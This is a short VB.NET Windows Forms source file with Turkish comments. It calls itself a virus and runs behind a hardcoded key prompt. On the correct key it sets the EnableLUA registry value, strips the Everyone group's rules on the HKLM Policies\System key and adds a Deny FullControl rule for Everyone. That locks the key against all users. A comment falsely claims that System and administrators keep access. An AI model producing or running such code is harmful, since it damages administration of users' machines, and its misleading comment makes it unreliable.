Imports Microsoft.Win32
Imports System.Security.AccessControl
Imports System.Security.Principal
Public Class Form1
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
' Anahtar doğrulama bölümü
Dim anahtar As String = InputBox("Virüsü çalıştırmak için anahtarı girin:", "Anahtar Girişi")
Dim dogruAnahtar As String = "ParanyokBuradaOzelSifreYok"
If anahtar = dogruAnahtar Then
MessageBox.Show("Anahtar doğru! İşlemler başlatılıyor...", "Başarılı", MessageBoxButtons.OK, MessageBoxIcon.Information)
Try
' EnableLUA anahtarını değiştir
Dim regKey As RegistryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", True)
If regKey IsNot Nothing Then
regKey.SetValue("EnableLUA", 1, RegistryValueKind.DWord)
regKey.Close()
End If
' Kayıt defteri anahtarını kilitlemek için RegistrySecurity kullanıyoruz
Dim keyPath As String = "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
Using systemKey As RegistryKey = Registry.LocalMachine.OpenSubKey(keyPath, RegistryKeyPermissionCheck.ReadWriteSubTree, RegistryRights.ChangePermissions)
' Mevcut güvenlik ayarlarını al
Dim security As RegistrySecurity = systemKey.GetAccessControl()
' Everyone (Herkes) grubunun anahtara erişim iznini kaldır
Dim everyone As New SecurityIdentifier(WellKnownSidType.WorldSid, Nothing)
security.PurgeAccessRules(everyone)
' Yeni izinleri ayarla: Yalnızca Sistem ve Admin'lerin erişimine izin ver
security.AddAccessRule(New RegistryAccessRule(everyone, RegistryRights.FullControl, AccessControlType.Deny))
' Değişiklikleri kayıt defteri anahtarına uygula
systemKey.SetAccessControl(security)
MessageBox.Show("Kayıt defteri anahtarı başarıyla kitlendi!", "Başarılı", MessageBoxButtons.OK, MessageBoxIcon.Information)
End Using
Catch ex As Exception
MessageBox.Show("Bir hata oluştu: " & ex.Message, "Hata", MessageBoxButtons.OK, MessageBoxIcon.Error)
End Try
Else
MessageBox.Show("Yanlış anahtar! Virüs çalıştırılamadı.", "Hata", MessageBoxButtons.OK, MessageBoxIcon.Error)
End If
End Sub
End Class